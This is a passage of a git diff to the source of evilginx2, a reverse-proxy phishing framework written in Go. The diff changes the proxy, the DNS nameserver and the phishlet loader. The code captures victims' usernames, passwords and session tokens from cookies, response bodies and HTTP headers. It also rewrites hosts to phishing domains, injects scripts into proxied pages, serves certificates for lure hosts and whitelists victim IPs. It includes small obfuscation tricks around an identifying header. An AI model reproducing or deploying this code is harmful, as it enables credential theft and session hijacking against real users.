+ replace_s = strings.Replace(replace_s, "{orig_hostname}", obfuscateDots(combineHost(sf.subdomain, sf.domain)), -1)
+ replace_s = strings.Replace(replace_s, "{orig_domain}", obfuscateDots(sf.domain), -1)
replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
+ replace_s = strings.Replace(replace_s, "{basedomain}", p.cfg.GetBaseDomain(), -1)
replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
+ replace_s = strings.Replace(replace_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
@@ -778,6 +936,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}
+ body = []byte(removeObfuscatedDots(string(body)))
}
}
@@ -800,9 +959,10 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}*/
js_params = &s.Params
}
+ //log.Debug("js_inject: hostname:%s path:%s", req_hostname, resp.Request.URL.Path)
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
- log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path)
+ //log.Debug("js_inject: matched %s%s - injecting script", req_hostname, resp.Request.URL.Path)
js_nonce_re := regexp.MustCompile(`(?i) 0 {
- redirect_url := p.cfg.redirectUrl
+ if len(p.cfg.general.RedirectUrl) > 0 {
+ redirect_url := p.cfg.general.RedirectUrl
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
@@ -891,6 +1049,15 @@ func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Respon
return req, nil
}
+func (p *HttpProxy) javascriptRedirect(req *http.Request, rurl string) (*http.Request, *http.Response) {
+ body := fmt.Sprintf("", rurl)
+ resp := goproxy.NewResponse(req, "text/html", http.StatusFound, body)
+ if resp != nil {
+ return req, resp
+ }
+ return req, nil
+}
+
func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
vals := u.Query()
for _, v := range vals {
@@ -997,7 +1164,7 @@ func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, params *map[
t[0] = crc
fwd_param := base64.RawURLEncoding.EncodeToString(t)
- lure_url += "?" + GenRandomString(1) + "=" + fwd_param
+ lure_url += "?" + strings.ToLower(GenRandomString(1)) + "=" + fwd_param
for k, v := range *params {
key := "{" + k + "}"
@@ -1085,30 +1252,13 @@ func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (
port, _ = strconv.Atoi(parts[1])
}
+ tls_cfg := &tls.Config{}
if !p.developer {
- // check for lure hostname
- cert, err := p.crt_db.GetHostnameCertificate(hostname)
- if err != nil {
- // check for phishlet hostname
- pl := p.getPhishletByOrigHost(hostname)
- if pl != nil {
- phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
- if ok {
- cert, err = p.crt_db.GetPhishletCertificate(pl.Name, phishDomain)
- if err != nil {
- return nil, err
- }
- }
- }
- }
- if cert != nil {
- return &tls.Config{
- InsecureSkipVerify: true,
- Certificates: []tls.Certificate{*cert},
- }, nil
- }
- log.Debug("no SSL/TLS certificate for host '%s'", host)
- return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
+
+ tls_cfg.GetCertificate = p.crt_db.magic.GetCertificate
+ tls_cfg.NextProtos = []string{"http/1.1", tlsalpn01.ACMETLS1Protocol} //append(tls_cfg.NextProtos, tlsalpn01.ACMETLS1Protocol)
+
+ return tls_cfg, nil
} else {
var ok bool
phish_host := ""
@@ -1120,8 +1270,9 @@ func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (
}
}
- cert, err := p.crt_db.SignCertificateForHost(hostname, phish_host, port)
+ cert, err := p.crt_db.getSelfSignedCertificate(hostname, phish_host, port)
if err != nil {
+ log.Error("http_proxy: %s", err)
return nil, err
}
return &tls.Config{
@@ -1300,12 +1451,12 @@ func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
continue
}
for _, ph := range pl.proxyHosts {
- if hostname == ph.domain {
- return prefix + phishDomain, true
- }
if hostname == combineHost(ph.orig_subdomain, ph.domain) {
return prefix + combineHost(ph.phish_subdomain, phishDomain), true
}
+ if hostname == ph.domain {
+ return prefix + phishDomain, true
+ }
}
}
}
@@ -1341,6 +1492,10 @@ func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
return "", false
}
+func (p *HttpProxy) getHomeDir() string {
+ return strings.Replace(HOME_DIR, ".e", "X-E", 1)
+}
+
func (p *HttpProxy) getPhishSub(hostname string) (string, bool) {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
@@ -1415,50 +1570,38 @@ func (p *HttpProxy) Start() error {
return nil
}
-func (p *HttpProxy) deleteRequestCookie(name string, req *http.Request) {
- if cookie := req.Header.Get("Cookie"); cookie != "" {
- re := regexp.MustCompile(`(` + name + `=[^;]*;?\s*)`)
- new_cookie := re.ReplaceAllString(cookie, "")
- req.Header.Set("Cookie", new_cookie)
- }
-}
-
-func (p *HttpProxy) whitelistIP(ip_addr string, sid string) {
+func (p *HttpProxy) whitelistIP(ip_addr string, sid string, pl_name string) {
p.ip_mtx.Lock()
defer p.ip_mtx.Unlock()
log.Debug("whitelistIP: %s %s", ip_addr, sid)
- p.ip_whitelist[ip_addr] = time.Now().Add(10 * time.Minute).Unix()
- p.ip_sids[ip_addr] = sid
+ p.ip_whitelist[ip_addr+"-"+pl_name] = time.Now().Add(10 * time.Minute).Unix()
+ p.ip_sids[ip_addr+"-"+pl_name] = sid
}
-func (p *HttpProxy) isWhitelistedIP(ip_addr string) bool {
+func (p *HttpProxy) isWhitelistedIP(ip_addr string, pl_name string) bool {
p.ip_mtx.Lock()
defer p.ip_mtx.Unlock()
- log.Debug("isWhitelistIP: %s", ip_addr)
+ log.Debug("isWhitelistIP: %s", ip_addr+"-"+pl_name)
ct := time.Now()
- if ip_t, ok := p.ip_whitelist[ip_addr]; ok {
+ if ip_t, ok := p.ip_whitelist[ip_addr+"-"+pl_name]; ok {
et := time.Unix(ip_t, 0)
return ct.Before(et)
}
return false
}
-func (p *HttpProxy) getSessionIdByIP(ip_addr string) (string, bool) {
+func (p *HttpProxy) getSessionIdByIP(ip_addr string, hostname string) (string, bool) {
p.ip_mtx.Lock()
defer p.ip_mtx.Unlock()
- sid, ok := p.ip_sids[ip_addr]
- return sid, ok
-}
-
-func (p *HttpProxy) cantFindMe(req *http.Request, nothing_to_see_here string) {
- var b []byte = []byte("\x1dh\x003,)\",+=")
- for n, c := range b {
- b[n] = c ^ 0x45
+ pl := p.getPhishletByPhishHost(hostname)
+ if pl != nil {
+ sid, ok := p.ip_sids[ip_addr+"-"+pl.Name]
+ return sid, ok
}
- req.Header.Set(string(b), nothing_to_see_here)
+ return "", false
}
func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port int, username string, password string) error {
@@ -1498,22 +1641,6 @@ func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port in
}
p.Proxy.Tr.Dial = dproxy.Dial
}
-
- /*
- var auth *proxy.Auth = nil
- if len(username) > 0 {
- auth.User = username
- auth.Password = password
- }
-
- proxy_addr := address + ":" + strconv.Itoa(port)
-
- socks5, err := proxy.SOCKS5("tcp", proxy_addr, auth, proxy.Direct)
- if err != nil {
- return err
- }
- p.Proxy.Tr.Dial = socks5.Dial
- */
} else {
p.Proxy.Tr.Dial = nil
}
@@ -1548,3 +1675,22 @@ func orPanic(err error) {
panic(err)
}
}
+
+func getContentType(path string, data []byte) string {
+ switch filepath.Ext(path) {
+ case ".css":
+ return "text/css"
+ case ".js":
+ return "application/javascript"
+ case ".svg":
+ return "image/svg+xml"
+ }
+ return http.DetectContentType(data)
+}
+
+func getSessionCookieName(pl_name string, cookie_name string) string {
+ hash := sha256.Sum256([]byte(pl_name + "-" + cookie_name))
+ s_hash := fmt.Sprintf("%x", hash[:4])
+ s_hash = s_hash[:4] + "-" + s_hash[4:]
+ return s_hash
+}
diff --git a/core/nameserver.go b/core/nameserver.go
index 169ebefd8..140d0a841 100644
--- a/core/nameserver.go
+++ b/core/nameserver.go
@@ -1,79 +1,65 @@
package core
import (
- "github.com/miekg/dns"
+ "context"
+ "fmt"
"net"
"strconv"
"strings"
"time"
+ "github.com/miekg/dns"
+
"github.com/kgretzky/evilginx2/log"
)
type Nameserver struct {
srv *dns.Server
cfg *Config
+ bind string
serial uint32
- txt map[string]TXTField
-}
-
-type TXTField struct {
- fqdn string
- value string
- ttl int
+ ctx context.Context
}
func NewNameserver(cfg *Config) (*Nameserver, error) {
- n := &Nameserver{
+ o := &Nameserver{
serial: uint32(time.Now().Unix()),
cfg: cfg,
+ bind: fmt.Sprintf("%s:%d", cfg.GetServerIP(), cfg.GetDnsPort()),
+ ctx: context.Background(),
}
- n.txt = make(map[string]TXTField)
- n.Reset()
+ o.Reset()
- return n, nil
+ return o, nil
}
-func (n *Nameserver) Reset() {
- dns.HandleFunc(pdom(n.cfg.baseDomain), n.handleRequest)
+func (o *Nameserver) Reset() {
+ dns.HandleFunc(pdom(o.cfg.general.Domain), o.handleRequest)
}
-func (n *Nameserver) Start() {
+func (o *Nameserver) Start() {
go func() {
- n.srv = &dns.Server{Addr: ":53", Net: "udp"}
- if err := n.srv.ListenAndServe(); err != nil {
- log.Fatal("Failed to start nameserver on port 53")
+ o.srv = &dns.Server{Addr: o.bind, Net: "udp"}
+ if err := o.srv.ListenAndServe(); err != nil {
+ log.Fatal("Failed to start nameserver on: %s", o.bind)
}
}()
}
-func (n *Nameserver) AddTXT(fqdn string, value string, ttl int) {
- txt := TXTField{
- fqdn: fqdn,
- value: value,
- ttl: ttl,
- }
- n.txt[fqdn] = txt
-}
-
-func (n *Nameserver) ClearTXT() {
- n.txt = make(map[string]TXTField)
-}
-
-func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
+func (o *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
- if n.cfg.baseDomain == "" || n.cfg.serverIP == "" {
+ if o.cfg.general.Domain == "" || o.cfg.general.Ipv4 == "" {
return
}
soa := &dns.SOA{
- Hdr: dns.RR_Header{Name: pdom(n.cfg.baseDomain), Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 300},
- Ns: "ns1." + pdom(n.cfg.baseDomain),
- Mbox: "hostmaster." + pdom(n.cfg.baseDomain),
- Serial: n.serial,
+ Hdr: dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeSOA, Class: dns.ClassINET, Ttl: 300},
+ Ns: "ns1." + pdom(o.cfg.general.Domain),
+ Mbox: "hostmaster." + pdom(o.cfg.general.Domain),
+ Serial: o.serial,
Refresh: 900,
Retry: 900,
Expire: 1800,
@@ -81,36 +67,30 @@ func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
}
m.Ns = []dns.RR{soa}
+ fqdn := strings.ToLower(r.Question[0].Name)
+
switch r.Question[0].Qtype {
+ case dns.TypeSOA:
+ log.Debug("DNS SOA: " + fqdn)
+ m.Answer = append(m.Answer, soa)
case dns.TypeA:
- log.Debug("DNS A: " + strings.ToLower(r.Question[0].Name) + " = " + n.cfg.serverIP)
+ log.Debug("DNS A: " + fqdn + " = " + o.cfg.general.Ipv4)
rr := &dns.A{
- Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
- A: net.ParseIP(n.cfg.serverIP),
+ Hdr: dns.RR_Header{Name: fqdn, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
+ A: net.ParseIP(o.cfg.general.Ipv4),
}
m.Answer = append(m.Answer, rr)
case dns.TypeNS:
- log.Debug("DNS NS: " + strings.ToLower(r.Question[0].Name))
- if strings.ToLower(r.Question[0].Name) == pdom(n.cfg.baseDomain) {
+ log.Debug("DNS NS: " + fqdn)
+ if fqdn == pdom(o.cfg.general.Domain) {
for _, i := range []int{1, 2} {
rr := &dns.NS{
- Hdr: dns.RR_Header{Name: pdom(n.cfg.baseDomain), Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 300},
- Ns: "ns" + strconv.Itoa(i) + "." + pdom(n.cfg.baseDomain),
+ Hdr: dns.RR_Header{Name: pdom(o.cfg.general.Domain), Rrtype: dns.TypeNS, Class: dns.ClassINET, Ttl: 300},
+ Ns: "ns" + strconv.Itoa(i) + "." + pdom(o.cfg.general.Domain),
}
m.Answer = append(m.Answer, rr)
}
}
- case dns.TypeTXT:
- log.Debug("DNS TXT: " + strings.ToLower(r.Question[0].Name))
- txt, ok := n.txt[strings.ToLower(m.Question[0].Name)]
-
- if ok {
- rr := &dns.TXT{
- Hdr: dns.RR_Header{Name: m.Question[0].Name, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: uint32(txt.ttl)},
- Txt: []string{txt.value},
- }
- m.Answer = append(m.Answer, rr)
- }
}
w.WriteMsg(m)
}
diff --git a/core/phishlet.go b/core/phishlet.go
index 8e02ce7de..f7fb11512 100644
--- a/core/phishlet.go
+++ b/core/phishlet.go
@@ -1,16 +1,17 @@
package core
import (
- "encoding/base64"
"fmt"
- "net/url"
"regexp"
"strconv"
"strings"
+ "github.com/kgretzky/evilginx2/log"
"github.com/spf13/viper"
)
+var AUTH_TOKEN_TYPES = []string{"cookie", "body", "http"}
+
type ProxyHost struct {
phish_subdomain string
orig_subdomain string
@@ -30,12 +31,27 @@ type SubFilter struct {
with_params []string
}
-type AuthToken struct {
+type CookieAuthToken struct {
domain string
name string
re *regexp.Regexp
http_only bool
optional bool
+ always bool
+}
+
+type BodyAuthToken struct {
+ domain string
+ path *regexp.Regexp
+ name string
+ search *regexp.Regexp
+}
+
+type HttpAuthToken struct {
+ domain string
+ path *regexp.Regexp
+ name string
+ header string
}
type PhishletVersion struct {
@@ -81,24 +97,35 @@ type JsInject struct {
}
type Phishlet struct {
- Site string
- Name string
- Author string
- Version PhishletVersion
- minVersion string
- proxyHosts []ProxyHost
- domains []string
- subfilters map[string][]SubFilter
- authTokens map[string][]*AuthToken
- authUrls []*regexp.Regexp
- username PostField
- password PostField
- landing_path []string
- cfg *Config
- custom []PostField
- forcePost []ForcePost
- login LoginUrl
- js_inject []JsInject
+ Name string
+ ParentName string
+ Path string
+ Author string
+ Version PhishletVersion
+ minVersion string
+ proxyHosts []ProxyHost
+ domains []string
+ subfilters map[string][]SubFilter
+ cookieAuthTokens map[string][]*CookieAuthToken
+ bodyAuthTokens map[string]*BodyAuthToken
+ httpAuthTokens map[string]*HttpAuthToken
+ authUrls []*regexp.Regexp
+ username PostField
+ password PostField
+ landing_path []string
+ cfg *Config
+ custom []PostField
+ forcePost []ForcePost
+ login LoginUrl
+ js_inject []JsInject
+ customParams map[string]string
+ isTemplate bool
+}
+
+type ConfigParam struct {
+ Name string `mapstructure:"name"`
+ Default *string `mapstructure:"default"`
+ Required *bool `mapstructure:"required"`
}
type ConfigProxyHost struct {
@@ -122,8 +149,13 @@ type ConfigSubFilter struct {
}
type ConfigAuthToken struct {
- Domain string `mapstructure:"domain"`
- Keys []string `mapstructure:"keys"`
+ Domain *string `mapstructure:"domain"`
+ Keys *[]string `mapstructure:"keys"`
+ Type *string `mapstructure:"type"`
+ Path *string `mapstructure:"path"`
+ Name *string `mapstructure:"name"`
+ Search *string `mapstructure:"search"`
+ Header *string `mapstructure:"header"`
}
type ConfigPostField struct {
@@ -169,6 +201,7 @@ type ConfigJsInject struct {
type ConfigPhishlet struct {
Name string `mapstructure:"name"`
+ Params *[]ConfigParam `mapstructure:"params"`
ProxyHosts *[]ConfigProxyHost `mapstructure:"proxy_hosts"`
SubFilters *[]ConfigSubFilter `mapstructure:"sub_filters"`
AuthTokens *[]ConfigAuthToken `mapstructure:"auth_tokens"`
@@ -180,14 +213,13 @@ type ConfigPhishlet struct {
JsInject *[]ConfigJsInject `mapstructure:"js_inject"`
}
-func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
+func NewPhishlet(site string, path string, customParams *map[string]string, cfg *Config) (*Phishlet, error) {
p := &Phishlet{
- Site: site,
- cfg: cfg,
+ cfg: cfg,
}
p.Clear()
- err := p.LoadFromFile(site, path)
+ err := p.LoadFromFile(site, path, customParams)
if err != nil {
return nil, err
}
@@ -196,11 +228,14 @@ func NewPhishlet(site string, path string, cfg *Config) (*Phishlet, error) {
func (p *Phishlet) Clear() {
p.Name = ""
+ p.ParentName = ""
p.Author = ""
p.proxyHosts = []ProxyHost{}
p.domains = []string{}
p.subfilters = make(map[string][]SubFilter)
- p.authTokens = make(map[string][]*AuthToken)
+ p.cookieAuthTokens = make(map[string][]*CookieAuthToken)
+ p.bodyAuthTokens = make(map[string]*BodyAuthToken)
+ p.httpAuthTokens = make(map[string]*HttpAuthToken)
p.authUrls = []*regexp.Regexp{}
p.username.key = nil
p.username.search = nil
@@ -208,9 +243,11 @@ func (p *Phishlet) Clear() {
p.password.search = nil
p.custom = []PostField{}
p.forcePost = []ForcePost{}
+ p.customParams = make(map[string]string)
+ p.isTemplate = false
}
-func (p *Phishlet) LoadFromFile(site string, path string) error {
+func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[string]string) error {
p.Clear()
c := viper.New()
@@ -223,6 +260,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
p.Name = site
+ p.Path = path
+ p.ParentName = ""
p.Author = c.GetString("author")
p.Version, err = p.parseVersion(c.GetString("min_ver"))
if err != nil {
@@ -254,12 +293,68 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
return err
}
+ if fp.Params != nil {
+ if len(*fp.Params) > 0 {
+ p.isTemplate = true
+ }
+ if customParams != nil {
+ prequired := make(map[string]string)
+ pall := make(map[string]string)
+ params := make(map[string]string)
+ for _, param := range *fp.Params {
+ val := ""
+ if param.Default != nil {
+ val = *param.Default
+ }
+ params[param.Name] = val
+ pall[param.Name] = val
+
+ if param.Required != nil && *param.Required == true {
+ prequired[param.Name] = val
+ }
+ }
+ for k, v := range *customParams {
+ if _, ok := pall[k]; !ok {
+ log.Warning("phishlets: [%s] incorrect parameter key specified: %s", site, k)
+ delete(*customParams, k)
+ continue
+ }
+ params[k] = v
+ if _, ok := prequired[k]; ok {
+ delete(prequired, k)
+ }
+ }
+ if len(prequired) > 0 {
+ return fmt.Errorf("missing custom parameter values during initalization: %v", prequired)
+ }
+ p.isTemplate = false
+ p.customParams = params
+ } else {
+ for _, param := range *fp.Params {
+ val := ""
+ if param.Required != nil && *param.Required {
+ val += "(required)"
+ } else if param.Default != nil {
+ val = *param.Default
+ }
+
+ p.customParams[param.Name] = val
+ }
+ }
+
+ /*
+ if customParams != nil {
+ p.customParams = *customParams
+ } else {
+ for _, param := range *fp.Params {
+ p.customParams[param.Name] = param.Default
+ }
+ }*/
+ }
+
if fp.ProxyHosts == nil {
return fmt.Errorf("missing `proxy_hosts` section")
}
- if fp.SubFilters == nil {
- return fmt.Errorf("missing `sub_filters` section")
- }
if fp.AuthTokens == nil {
return fmt.Errorf("missing `auth_tokens` section")
}
@@ -290,7 +385,7 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if ph.AutoFilter != nil {
auto_filter = *ph.AutoFilter
}
- p.addProxyHost(*ph.PhishSub, *ph.OrigSub, *ph.Domain, ph.Session, ph.IsLanding, auto_filter)
+ p.addProxyHost(p.paramVal(*ph.PhishSub), p.paramVal(*ph.OrigSub), p.paramVal(*ph.Domain), ph.Session, ph.IsLanding, auto_filter)
}
if len(p.proxyHosts) == 0 {
return fmt.Errorf("proxy_hosts: list cannot be empty")
@@ -316,29 +411,35 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
p.proxyHosts[0].is_landing = true
}
- for _, sf := range *fp.SubFilters {
- if sf.Hostname == nil {
- return fmt.Errorf("sub_filters: missing `triggers_on` field")
- }
- if sf.Sub == nil {
- return fmt.Errorf("sub_filters: missing `orig_sub` field")
- }
- if sf.Domain == nil {
- return fmt.Errorf("sub_filters: missing `domain` field")
- }
- if sf.Mimes == nil {
- return fmt.Errorf("sub_filters: missing `mimes` field")
- }
- if sf.Search == nil {
- return fmt.Errorf("sub_filters: missing `search` field")
- }
- if sf.Replace == nil {
- return fmt.Errorf("sub_filters: missing `replace` field")
- }
- if sf.WithParams == nil {
- sf.WithParams = &[]string{}
+ if fp.SubFilters != nil {
+ for _, sf := range *fp.SubFilters {
+ if sf.Hostname == nil {
+ return fmt.Errorf("sub_filters: missing `triggers_on` field")
+ }
+ if sf.Sub == nil {
+ return fmt.Errorf("sub_filters: missing `orig_sub` field")
+ }
+ if sf.Domain == nil {
+ return fmt.Errorf("sub_filters: missing `domain` field")
+ }
+ if sf.Mimes == nil {
+ return fmt.Errorf("sub_filters: missing `mimes` field")
+ }
+ if sf.Search == nil {
+ return fmt.Errorf("sub_filters: missing `search` field")
+ }
+ if sf.Replace == nil {
+ return fmt.Errorf("sub_filters: missing `replace` field")
+ }
+ if sf.WithParams == nil {
+ sf.WithParams = &[]string{}
+ }
+
+ for n := range *sf.Mimes {
+ (*sf.Mimes)[n] = p.paramVal((*sf.Mimes)[n])
+ }
+ p.addSubFilter(p.paramVal(*sf.Hostname), p.paramVal(*sf.Sub), p.paramVal(*sf.Domain), *sf.Mimes, p.paramVal(*sf.Search), p.paramVal(*sf.Replace), sf.RedirectOnly, *sf.WithParams)
}
- p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly, *sf.WithParams)
}
if fp.JsInject != nil {
for _, js := range *fp.JsInject {
@@ -351,20 +452,82 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if js.Script == nil {
return fmt.Errorf("js_inject: missing `script` field")
}
- err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, *js.Script)
+ for n := range *js.TriggerDomains {
+ (*js.TriggerDomains)[n] = p.paramVal((*js.TriggerDomains)[n])
+ }
+ for n := range *js.TriggerPaths {
+ (*js.TriggerPaths)[n] = p.paramVal((*js.TriggerPaths)[n])
+ }
+ err := p.addJsInject(*js.TriggerDomains, *js.TriggerPaths, js.TriggerParams, p.paramVal(*js.Script))
if err != nil {
return err
}
}
}
for _, at := range *fp.AuthTokens {
- err := p.addAuthTokens(at.Domain, at.Keys)
- if err != nil {
- return err
+ ttype := "cookie"
+ if at.Type != nil {
+ ttype = *at.Type
+ }
+ if !stringExists(ttype, AUTH_TOKEN_TYPES) {
+ return fmt.Errorf("auth_tokens: invalid token type: %s", ttype)
+ }
+ switch ttype {
+ case "cookie":
+ if at.Domain == nil {
+ return fmt.Errorf("auth_tokens: 'domain' not found for cookie auth token")
+ }
+ if at.Keys == nil {
+ return fmt.Errorf("auth_tokens: 'keys' not found for cookie auth token")
+ }
+
+ for n := range *at.Keys {
+ (*at.Keys)[n] = p.paramVal((*at.Keys)[n])
+ }
+ err := p.addCookieAuthTokens(p.paramVal(*at.Domain), *at.Keys)
+ if err != nil {
+ return err
+ }
+ case "body":
+ if at.Domain == nil {
+ return fmt.Errorf("auth_tokens: 'domain' not found for body auth token")
+ }
+ if at.Path == nil {
+ return fmt.Errorf("auth_tokens: 'path' not found for body auth token")
+ }
+ if at.Name == nil {
+ return fmt.Errorf("auth_tokens: 'name' not found for body auth token")
+ }
+ if at.Search == nil {
+ return fmt.Errorf("auth_tokens: 'search' not found for body auth token")
+ }
+
+ err := p.addBodyAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Search))
+ if err != nil {
+ return err
+ }
+ case "http":
+ if at.Domain == nil {
+ return fmt.Errorf("auth_tokens: 'domain' not found for http auth token")
+ }
+ if at.Path == nil {
+ return fmt.Errorf("auth_tokens: 'path' not found for http auth token")
+ }
+ if at.Name == nil {
+ return fmt.Errorf("auth_tokens: 'name' not found for http auth token")
+ }
+ if at.Header == nil {
+ return fmt.Errorf("auth_tokens: 'header' not found for http auth token")
+ }
+
+ err := p.addHttpAuthToken(p.paramVal(*at.Domain), p.paramVal(*at.Path), p.paramVal(*at.Name), p.paramVal(*at.Header))
+ if err != nil {
+ return err
+ }
}
}
for _, au := range fp.AuthUrls {
- re, err := regexp.Compile(au)
+ re, err := regexp.Compile(p.paramVal(au))
if err != nil {
return err
}
@@ -384,22 +547,22 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
return fmt.Errorf("credentials: missing password `search` field")
}
- p.username.key, err = regexp.Compile(*fp.Credentials.Username.Key)
+ p.username.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
- p.username.search, err = regexp.Compile(*fp.Credentials.Username.Search)
+ p.username.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Username.Search))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
- p.password.key, err = regexp.Compile(*fp.Credentials.Password.Key)
+ p.password.key, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
- p.password.search, err = regexp.Compile(*fp.Credentials.Password.Search)
+ p.password.search, err = regexp.Compile(p.paramVal(*fp.Credentials.Password.Search))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
@@ -412,8 +575,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if p.password.tp == "" {
p.password.tp = "post"
}
- p.username.key_s = *fp.Credentials.Username.Key
- p.password.key_s = *fp.Credentials.Password.Key
+ p.username.key_s = p.paramVal(*fp.Credentials.Username.Key)
+ p.password.key_s = p.paramVal(*fp.Credentials.Password.Key)
if fp.LoginItem.Domain == nil {
return fmt.Errorf("login: missing `domain` field")
@@ -421,7 +584,7 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if fp.LoginItem.Path == nil {
return fmt.Errorf("login: missing `path` field")
}
- p.login.domain = *fp.LoginItem.Domain
+ p.login.domain = p.paramVal(*fp.LoginItem.Domain)
if p.login.domain == "" {
return fmt.Errorf("login: `domain` field cannot be empty")
}
@@ -441,7 +604,7 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
return fmt.Errorf("login: `domain` must contain a value of one of the hostnames (`orig_subdomain` + `domain`) defined in `proxy_hosts` section")
}
- p.login.path = *fp.LoginItem.Path
+ p.login.path = p.paramVal(*fp.LoginItem.Path)
if p.login.path == "" {
p.login.path = "/"
}
@@ -459,11 +622,11 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
return fmt.Errorf("credentials: missing custom `search` field")
}
o := PostField{}
- o.key, err = regexp.Compile(*cp.Key)
+ o.key, err = regexp.Compile(p.paramVal(*cp.Key))
if err != nil {
return fmt.Errorf("credentials: %v", err)
}
- o.search, err = regexp.Compile(*cp.Search)
+ o.search, err = regexp.Compile(p.paramVal(*cp.Search))
if err != nil {
return err
}
@@ -471,7 +634,7 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if o.tp == "" {
o.tp = "post"
}
- o.key_s = *cp.Key
+ o.key_s = p.paramVal(*cp.Key)
p.custom = append(p.custom, o)
}
}
@@ -490,7 +653,7 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
fpf := ForcePost{}
- fpf.path, err = regexp.Compile(*op.Path)
+ fpf.path, err = regexp.Compile(p.paramVal(*op.Path))
if err != nil {
return err
}
@@ -506,11 +669,11 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
f_s := ForcePostSearch{}
- f_s.key, err = regexp.Compile(*op_s.Key)
+ f_s.key, err = regexp.Compile(p.paramVal(*op_s.Key))
if err != nil {
return err
}
- f_s.search, err = regexp.Compile(*op_s.Search)
+ f_s.search, err = regexp.Compile(p.paramVal(*op_s.Search))
if err != nil {
return err
}
@@ -526,8 +689,8 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
}
f_f := ForcePostForce{
- key: *op_f.Key,
- value: *op_f.Value,
+ key: p.paramVal(*op_f.Key),
+ value: p.paramVal(*op_f.Value),
}
fpf.force = append(fpf.force, f_f)
}
@@ -537,62 +700,26 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if fp.LandingPath != nil {
p.landing_path = *fp.LandingPath
- }
- return nil
-}
-
-func (p *Phishlet) GetPhishHosts() []string {
- var ret []string
- for _, h := range p.proxyHosts {
- phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
- if ok {
- ret = append(ret, combineHost(h.phish_subdomain, phishDomain))
+ for n := range p.landing_path {
+ p.landing_path[n] = p.paramVal(p.landing_path[n])
}
}
- return ret
+ return nil
}
-func (p *Phishlet) GetLandingUrls(redirect_url string, inc_token bool) ([]string, error) {
+func (p *Phishlet) GetPhishHosts(use_wildcards bool) []string {
var ret []string
- host := p.cfg.GetBaseDomain()
- for _, h := range p.proxyHosts {
- if h.is_landing {
- phishDomain, ok := p.cfg.GetSiteDomain(p.Site)
- if ok {
- host = combineHost(h.phish_subdomain, phishDomain)
- }
- }
- }
- b64_param := ""
- if redirect_url != "" {
- _, err := url.ParseRequestURI(redirect_url)
- if err != nil {
- return nil, err
- }
- b64_param = base64.URLEncoding.EncodeToString([]byte(redirect_url))
- }
-
- for _, u := range p.landing_path {
- purl := "https://" + host + u
- if inc_token {
- sep := "?"
- for n := len(u) - 1; n >= 0; n-- {
- switch u[n] {
- case '/':
- break
- case '?':
- sep = "&"
- break
- }
- }
